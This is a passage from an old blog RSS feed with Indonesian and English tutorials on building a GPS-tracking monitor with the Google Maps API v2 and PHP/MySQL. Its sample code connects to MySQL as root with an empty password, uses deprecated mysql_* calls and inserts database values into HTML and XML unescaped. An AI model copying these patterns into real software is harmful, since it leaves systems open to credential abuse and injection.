&nbsp;<span class="kw2">var</span> xmarkers = xml.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">&quot;marker&quot;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i &lt; xmarkers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
<span class="kw2">var</span> label = xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;label&quot;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> point = <span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><br />
parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lat&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lon&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;map.<span class="me1">addOverlay</span><span class="br0">&#40;</span>createMarker<span class="br0">&#40;</span>point, i, label<span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;<span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
timeOut=setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> createMarker<span class="br0">&#40;</span>point, index, label<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> icon = <span class="kw2">new</span> GIcon<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> marker = <span class="kw2">new</span> GMarker<span class="br0">&#40;</span>point <span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> html= <span class="st0">&quot;&lt;pre&gt;&quot;</span>+label+<span class="st0">&quot;&lt;/pre&gt;&quot;</span>;<br />
&nbsp;GEvent.<span class="me1">addListener</span><span class="br0">&#40;</span>marker, <span class="st0">&quot;click&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
marker.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>html<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
markers<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=marker;<br />
&nbsp;htmls<span class="br0">&#91;</span>index<span class="br0">&#93;</span>=html;<br />
<span class="kw1">return</span> marker;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> myclick<span class="br0">&#40;</span>i<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">openInfoWindowHtml</span><span class="br0">&#40;</span>htmls<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span> </p>
<p><span class="kw2">function</span> zoomTo<span class="br0">&#40;</span>index, unit_id<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
<span class="kw1">if</span><span class="br0">&#40;</span>unit_id==<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">'Please select Unit ID'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">return</span> ;<br />
<span class="br0">&#125;</span><br />
&nbsp;<span class="kw2">var</span> temp = <span class="kw2">new</span> Array<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
temp = unit_id.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'|'</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> p=<span class="kw2">new</span> GLatLng<span class="br0">&#40;</span>parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>, parseFloat<span class="br0">&#40;</span>temp<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
map.<span class="me1">setCenter</span><span class="br0">&#40;</span>p,<span class="nu0">13</span><span class="br0">&#41;</span>;<br />
myclick<span class="br0">&#40;</span>index<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="co1">//]]&gt;</span><br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body <span class="kw3">onload</span>=<span class="st0">&quot;load()&quot;</span> <span class="kw3">onunload</span>=<span class="st0">&quot;GUnload()&quot;</span>&gt;<br />
&lt;div id=<span class="st0">&quot;map&quot;</span> style=<span class="st0">&quot;width: 400px; height: 400px&quot;</span>&gt;Loading&lt;/div&gt;<br />
&lt;div id=<span class="st0">&quot;controller&quot;</span> style=<span class="st0">&quot;position:absolute; left:400px; top:10px&quot;</span>&gt;<br />
&lt;form&gt;<br />
&lt;select <span class="kw3">name</span>=<span class="st0">&quot;unit_id&quot;</span> multiple&gt;<br />
&lt;?<br />
mysql_connect<span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
mysql_select_db<span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp;$sql=<span class="st0">&quot;select concat(unit_id,&#8217;|',lat,&#8217;|',lon),unit_id from lastpos order by id asc&quot;</span>;<br />
$rs = mysql_query<span class="br0">&#40;</span>$sql<span class="br0">&#41;</span> or die<span class="br0">&#40;</span>mysql_error<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span> <span class="br0">&#40;</span>$row=mysql_fetch_row<span class="br0">&#40;</span>$rs<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
echo <span class="st0">&quot;&lt;option value =&#8217;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> . <span class="st0">&quot;&#8217;&gt;&quot;</span> . $row<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;<br />
<span class="br0">&#125;</span><br />
?&gt;<br />
&nbsp;&lt;/select&gt;<br />
&lt;p&gt;<br />
&lt;input type=<span class="st0">&quot;button&quot;</span> value=<span class="st0">&quot;Zoom To&quot;</span> onClick=<span class="st0">&quot;zoomTo(this.form.unit_id.selectedIndex ,this.form.unit_id.value)&quot;</span>&gt;<br />
&lt;/form&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<h2>Preview of the Application</h2>
<p>Below is the preview of the GPS Tracking Monitoring Application:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/AplikasiPemantauGPSTracking.png"><img title="Aplikasi Pemantau GPS Tracking" border="0" alt="Aplikasi Pemantau GPS Tracking" src="http://www.dijexi.com/wp-content/uploads/2009/07/AplikasiPemantauGPSTracking_thumb.png" width="504" height="477" /></a></p>
<p>On the next article we will discuss the J2ME application to be run on the Nokia N95 hand phone so that it can send it’s GPS position data to our GPS tracking server.</p>
<p>Related Article:</p>
<ul>
<li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/">Membuat Sistem GPS Tracking</a> </li>
<li><a href="http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/">Membuat Aplikasi dengan Google Map API</a> </li>
<li><a href="http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/">Menguasai Structured Query Language (SQL)</a> </li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com – Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com – Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/10/google-does-not-use-the-keywords-meta-tags-in-web-ranking/" rel="bookmark">Google does not use the keywords meta tags in web ranking</a></li><li><a href="http://www.dijexi.com/2009/09/how-gps-works/" rel="bookmark">How GPS Works</a></li><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li><li><a href="http://www.dijexi.com/2009/09/how-to-keep-your-privacy-from-covert-gps-tracking-devices/" rel="bookmark">How To Keep Your Privacy From Covert GPS Tracking Devices</a></li><li><a href="http://www.dijexi.com/2009/08/zend-studio-7-0-released/" rel="bookmark">Zend Studio 7.0 Released</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fgps-tracking-monitoring-application-with-google-map%2F&amp;linkname=GPS%20Tracking%20Monitoring%20Application%20with%20Google%20Map"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/gps-tracking-monitoring-application-with-google-map/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Aplikasi Pemantau GPS Tracking dengan Google Maps</title>
		<link>http://www.dijexi.com/2009/07/aplikasi-pemantau-gps-tracking-dengan-google-maps/</link>
		<comments>http://www.dijexi.com/2009/07/aplikasi-pemantau-gps-tracking-dengan-google-maps/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 02:55:32 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Google Map]]></category>
		<category><![CDATA[GPS Tracking System]]></category>
		<category><![CDATA[gis]]></category>
		<category><![CDATA[gps tracking]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/aplikasi-pemantau-gps-tracking-dengan-google-maps/</guid>
		<description><![CDATA[Pada artikel sebelumnya telah dijelaskan bagaimana arsitektur global sistem GPS Tracking yang terdiri dari Tracking Device dan Aplikasi Pemantau. Pada artikel ini dibahas mengenai Aplikasi Pemantau GPS Tracking. Pendahuluan Aplikasi pemantau akan menampilkan Marker di atas tampilan peta Google Map. Marker ini merepresentasikan posisi GPS Tracking Device terakhir. Data koordinat untuk Marker diambil dari tabel [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada artikel sebelumnya telah dijelaskan bagaimana arsitektur global sistem GPS Tracking yang terdiri dari Tracking Device dan Aplikasi Pemantau. Pada artikel ini dibahas mengenai Aplikasi Pemantau GPS Tracking.<span id="more-633"></span></p>
<h2>Pendahuluan</h2>
<p>Aplikasi pemantau akan menampilkan Marker di atas tampilan peta Google Map. Marker ini merepresentasikan posisi GPS Tracking Device terakhir. Data koordinat untuk Marker diambil dari tabel lastpos yang isinya senantiasa di-update oleh GPS Tracking Device sehingga selalu didapatkan informasi posisi yang up to date.</p>
<p>Aplikasi pemantau terdiri dari beberapa bagian yang dapat digambarkan sebagai berikut.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0021.gif"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Arsitektur Aplikasi Pemantau" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image002_thumb1.gif" border="0" alt="Arsitektur Aplikasi Pemantau" width="520" height="312" /></a></p>
<table border="0" cellspacing="0" cellpadding="0" width="501">
<tbody>
<tr>
<td width="204" valign="top">Bagian</td>
<td width="295" valign="top">Keterangan</td>
</tr>
<tr>
<td width="204" valign="top">File viewer.php</td>
<td width="295" valign="top">File utama dari aplikasi pemantauan. Terdiri dari Google Map Object. Terdapat definisi timer yang akan memanggil file lastpos.xml.php pada setiap perioda timer yang mengakibatkan tampilan marker pada Google Map Object akan ter-update dengan data terbaru yang ada pada database</td>
</tr>
<tr>
<td width="204" valign="top">File lastpos.xml.php</td>
<td width="295" valign="top">File yang berguna utuk membaca data dari database dan menghasilkan keluaran berupa data dalam bentuk XML untuk digunakan oleh Google Map Object untuk menampilkan marker pada posisi tertentu</td>
</tr>
<tr>
<td width="204" valign="top">Google Map Object</td>
<td width="356" valign="top">Object Google Map yang berguna untuk menampilkan peta pada suatu posisi koordinat dan level zoom tertentu.</td>
</tr>
</tbody>
</table>
<p>Selanjutnya mari kita bahas secara detail fungsional masing-masing bagian aplikasi pemantauan.</p>
<h2>Desain Tampilan User Interface</h2>
<p>Berikut ini adalah desain tampilan user interface aplikasi pemantauan yang akan kita bangun.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image0042.gif"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Desain User Interface Aplikasi Pemantau" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image004_thumb2.gif" border="0" alt="Desain User Interface Aplikasi Pemantau" width="504" height="402" /></a></p>
<p>User interface nya sendiri sangat sederhana, hanya terdiri dari object Google Map, list box yang berisi kode benda bergerak yang akan dipantau, dan satu tombol Zoom To yang akan memindahkan posisi peta Google Map dengan titik tengah adalah koordinat benda bergerak yang dipilih pada list box. Selain ini, kita juga akan melihat kotak informasi yang berisi infromasi detail tentang benda bergerak yang dipilih seperti kode, koordinat, waktu dan sebagainya.</p>
<h2>Inisialisasi Google Map Object</h2>
<p>Perhatikan baris-baris kode program di bawah ini, yang merupakan penggalan dari file <strong>viewer.php</strong>.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;</span> <span class="st0">&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;</span>&gt;<br />
&lt;html xmlns=<span class="st0">&quot;http://www.w3.org/1999/xhtml&quot;</span>&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=<span class="st0">&quot;content-type&quot;</span> content=<span class="st0">&quot;text/html; charset=utf-8&quot;</span>/&gt;<br />
&lt;title&gt;Sistem Pemantau GPS Tracking&lt;/title&gt;<br />
&lt;script src=<span class="st0">&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abcde&quot;</span> type=<span class="st0">&quot;text/javascript&quot;</span>&gt;&lt;/script&gt;<br />
&lt;script type=<span class="st0">&quot;text/javascript&quot;</span>&gt;<br />
<span class="co1">//&lt;![CDATA[</span><br />
&nbsp; &nbsp;<span class="kw2">var</span> map = <span class="kw2">null</span>;<br />
&nbsp; &nbsp;<span class="kw2">var</span> timeOut=<span class="kw2">null</span>;<br />
&nbsp;  <span class="kw2">var</span> markers=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
&nbsp;  <span class="kw2">var</span> htmls=<span class="br0">&#91;</span><span class="br0">&#93;</span>;<br />
&nbsp;  <span class="kw2">function</span> load<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>GBrowserIsCompatible<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; map = <span class="kw2">new</span> GMap2<span class="br0">&#40;</span>document.<span class="me1">getElementById</span><span class="br0">&#40;</span><span class="st0">&quot;map&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">setCenter</span><span class="br0">&#40;</span><span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><span class="nu0">-6.8790</span>, <span class="nu0">107.63520</span><span class="br0">&#41;</span>, <span class="nu0">12</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">enableScrollWheelZoom</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GSmallMapControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.<span class="me1">addControl</span><span class="br0">&#40;</span><span class="kw2">new</span> GMapTypeControl<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
        refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
     <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="co1">//]]&gt;</span><br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body <span class="kw3">onload</span>=<span class="st0">&quot;load()&quot;</span> <span class="kw3">onunload</span>=<span class="st0">&quot;GUnload()&quot;</span>&gt;<br />
 &lt;div id=<span class="st0">&quot;map&quot;</span> style=<span class="st0">&quot;width: 400px; height: 400px&quot;</span>&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Pada baris 10-13 dilakukan inisialisasi variabel masing-masing:</p>
<ol>
<li>map : variabel object Google Map</li>
<li>timeOut: variabel timer</li>
<li>markers : array yang menampung semua marker yang ada pada peta</li>
<li>htmls : array yang menampung semua data HTML untuk kotak informasi semua marker yang ada pada peta</li>
</ol>
<p>Pada baris 15-28 didefinisikan function load() yang merupakan function yang pertama kali dipanggil ketika dokumen HTML di-download oleh user. Hal yang dilakukan disini adalah</p>
<ol>
<li>Pada baris 19: membuat object Google Map dan menyimpannya pada variabel map</li>
<li>pada baris 20: menjadikan object map bereaksi terhadap wheel button pada mouse, yaitu jika tombol wheel pada mouse diputar akan menyebabkan peta di zoom out dan in. Ini dilakukan dengan memanggil method enableScrollWheelZoom()</li>
<li>pada baris 21: ditambahkan area kontrol peta yang dapat digunakan untuk menggeser, men-zoom in dan out peta. Ini dilakukan dengan memanggil method addControl() dengan parameter object GSmallMapControl.</li>
<li>Pada baris 22: ditambahkan area kontrol yang dapat digunakan untuk memilih jenis peta apakah peta jalan, foto satelit, atau keduanya. Ini dilakukan dengan memanggil method addControl() dengan parameter object GMapTypeControl.</li>
<li>Pada barus 23: kita melakukan penentuan titik pusat peta dengan method setCenter() dan memilih jenis peta gabungan peta satelit dan peta jalan (hybrid) dengan method setMapType().</li>
<li>Setelah inisialisasi dilakukan, kita memanggil function refreshMarkers() untuk segera menampilkan marker yang merupakan representasi dari benda bergerak yang hendak kita pantau.</li>
</ol>
<h2>Menampilkan Marker dari data</h2>
<p>Hal ini dilakukan melalui dua function refreshMarkers() dan createMarker(). Perhatikan baris-baris kode dibawah ini, yang juga merupakan bagian dari file <strong>viewer.php</strong>.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> refreshMarkers<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
    clearTimeout<span class="br0">&#40;</span>timeOut<span class="br0">&#41;</span>;<br />
    GDownloadUrl<span class="br0">&#40;</span><span class="st0">&quot;lastpos.xml.php&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span>data, responseCode<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
        <span class="kw2">var</span> fetch=<span class="nu0">0</span>;<br />
        window.<span class="kw3">status</span>= responseCode + <span class="st0">&#8216;:&#8217;</span> + fetch++;<br />
        <span class="kw1">if</span><span class="br0">&#40;</span>responseCode != <span class="nu0">200</span><span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            <span class="kw1">return</span>;<br />
        <span class="br0">&#125;</span><br />
        <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i=<span class="nu0">0</span>; i&lt;markers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            map.<span class="me1">removeOverlay</span><span class="br0">&#40;</span>markers<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
        <span class="br0">&#125;</span> </p>
<p>        <span class="kw2">var</span> xml = GXml.<span class="me1">parse</span><span class="br0">&#40;</span>data<span class="br0">&#41;</span>;<br />
        <span class="kw2">var</span> xmarkers = xml.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">&quot;marker&quot;</span><span class="br0">&#41;</span>;<br />
        <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i &lt; xmarkers.<span class="me1">length</span>; i++<span class="br0">&#41;</span><br />
        <span class="br0">&#123;</span><br />
            <span class="kw2">var</span> label = xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;label&quot;</span><span class="br0">&#41;</span>;<br />
            <span class="kw2">var</span> point = <span class="kw2">new</span> GLatLng<span class="br0">&#40;</span><br />
                 parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lat&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>,<br />
&nbsp;                parseFloat<span class="br0">&#40;</span>xmarkers<span class="br0">&#91;</span>i<span class="br0">&#93;</span>.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">&quot;lon&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
            map.<span class="me1">addOverlay</span><span class="br0">&#40;</span>createMarker<span class="br0">&#40;</span>point, i, label<span class="br0">&#41;</span> <span class="br0">&#41;</span>;<br />
          <span class="br0">&#125;</span><br />
    <span class="br0">&#125;</span><span class="br0">&#41;</span>;<br />
    timeOut=setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;<span class="br0">&#125;</span></div>
<p>Baris kode di atas menampilkan function refreshMarkers() yang dipanggil oleh function load() seperti sebelumnya.</p>
<p>Hal pertama yang dilakukan setiap kali function ini dipanggil adalah mematikan timer jika sudah pernah didefinisikan pada variabel timeOut. Ini terlihat pada baris 3.</p>
<p>Selanjutnya pada baris 5 dilakukan pemanggilan function GDownloadUrl(). URL yang dipanggil adalah file <strong>lastpos.xml.php</strong> yaitu file yang akan mengeluarkan data dalam bentuk XML yang berisi informasi koordinat marker atau benda bergerak yang akan dipantau. Ini contoh sederhana file tersebut:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?</span><br />
<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;root&quot;</span>,<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;dijexi_gps&quot;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$sql</span>=<span class="st0">&quot;select * from lastpos order by id&quot;</span>;<br />
<span class="re0">$res</span>=<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&#8216;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#8217;</span>;<br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;markers&gt;<span class="es0">\n</span>&quot;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$row</span>=<a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$res</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp;<span class="re0">$unit_id</span>    =<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;unit_id&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<span class="re0">$latitude</span>   =<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;lat&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<span class="re0">$longitude</span>  =<span class="re0">$row</span><span class="br0">&#91;</span><span class="st0">&#8216;lon&#8217;</span><span class="br0">&#93;</span>;<br />
&nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&#8216;&lt;marker lat=&quot;&#8217;</span>.<span class="re0">$latitude</span>.<span class="st0">&#8216;&quot; lon=&quot;&#8217;</span>.<span class="re0">$longitude</span>.<span class="st0">&#8216;&quot; label=&quot;&#8217;</span>.<span class="re0">$unit_id</span>.<span class="st0">&#8216;&quot; /&gt; &#8216;</span>;<br />
<span class="br0">&#125;</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;/markers&gt;<span class="es0">\n</span>&quot;</span>;<br />
<span class="kw2">?&gt;</span></div>
<p>Setelah selesai download function ini akan mengeksekusi function yang didedinisikan pada parameternya yang kedua dengan memberikan input berupa data yang diperoleh dari download dan responseCode (kode response dari server).</p>
<p>Hal yang dilakukan oleh function yang menhandle data yang berhasil didownload terlihat mulai dari baris 6. Hal pertama yang dilakukan adalah menampilkan status bar sehingga berisi informasi kode response untuk memudahkan kita melakukan debugging, terutama jika proses download dari URL yang ditentukan gagal alias responseCode buka angka 200.</p>
<p>Jika download gagal, maka langsung keluar dari function ini dan menunggu timer event berikutnya. Ini dilakukan pada baris 7-10.</p>
<p>Baris 12-15 melakukan penghapusan terhadap semua marker yang sebelumnya telah disimpan pada variabel array markers. Ini dilakukan dengan menjalankan method removeOverlays() dari object map terhadap markers dengan index i, dimana i dimulai dari 0 sampai dengan banyaknya jumlah elemen array markers, yaitu markers.length.</p>
<p>Pada baris 17 dilakukan parsing data XML hasil download menjadi variabel xml yang berjenis data XML, yang dilakukan oleh function mehtod parse() dari object Gxml.</p>
<p>Setelah berhasil diparsing, object variabel xml dapat dibaca datanya, salah satunya untuk mengambil suatu elemen data tertentu. Misalnya pada baris 18, kita mengambil elemen dengan nama “marker”, dilakukan dengan function menthod getElementsByTagName(&#8220;marker&#8221;) yang terdapat pada object documentElement yang terkandung didalam object xml. Elemen-elemen data XML ini kemudian disimpan dalam variabel array JavaScript yang bernama xmarkers.</p>
<p>Setelah diperoleh elemen yang dimaksud maka dapat dilakukan perulangan terhadap semua isi array xmarkers untuk mengambil atribut yang terdapat pada data XML yang diwakilinya. Ini dilakukan mulai dari baris 19 – 25, yaitu men-setup variabel i yang dimulai dari 0 sampai dengan banyaknya elemen array xmarkers, yaitu xmarkers.length.</p>
<p>Hal yang dilakukan pada setiap perulangan adalah mengambil atribut “label” yang terdapat pada setiap elemen data XML. Caranya adalah dengan memanggil method getAttribute(&#8220;label&#8221;) pada object xmarkers dengan index i. Atribut ini disimpan pada variabel label.</p>
<p>Selanjutnya pada baris 21-23 diambil juga atribut “lat” dan “lon” dari setiap elemen data XML. Namun atribut ini langsung dikonversi dari string menjadi data dengan tipe float oleh function parseFloat(), dan dijadikan parameter untuk pembuatan object baru dengan tipe GLatLng() yang disimpan pada variabel point.</p>
<p>Pada baris 24, variabel point tersebut digunakan sebagai parameter untuk function createMarker() yang akan dijelaskan selanjutnya. Function createMarker() ini mengeluarkan data dengan jenis GMarker sehingga dapat langsung dipakai untuk menampilkan marker pada Google Map yaitu dengan memanggil method addOverlay().</p>
<p>Perhatikan baris 28 pada kode di atas.</p>
<div class="dean_ch" style="white-space: wrap;">TimeOut = setTimeout<span class="br0">&#40;</span><span class="st0">&quot;refreshMarkers()&quot;</span>,<span class="nu0">5000</span><span class="br0">&#41;</span>;</div>
<p>Ini adalah perintah JavaScript untuk mendefinisikan timer yang akan mengeksekusi perintah tertentu setiap periode waktu tertentu. Dalam hal ini ia akan mengeksekusi refreshMarkers() setiap 5000 ms alias 5 detik.</p>
<p>Perintah ini sendiri dijalankan di dalam function refreshMarkers() sehingga akan didapatkan suatu perulangan yang terjadi terus menerus.</p>
<p>Selanjutnya, ini adalah definisi function createMarker() yang digunakan untuk membuat object baru dengan tipe GMarker dan dengan paramter tertentu.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> createMarker<span class="br0">&#40;</span>point, index, label<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
    <span class="kw2">var</span> marker = <span class="kw2">new</span> GMarker<span class="br0">&#40;</span>point <span class="br0">&#41;</span>;<br />
    <span class="kw2">var</span> html= <span class="st0">&quot;&lt;pre&gt;&quot;</span>+label+<span class="st0">&quot;&lt;/pre&gt;&quot;</span>;<br />
    GEvent.<span class="me1">addListener</span><span class="br0">&#40;</span>marker, <span class="st0">&quot;click&quot;</span>, <span class="kw2">function</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
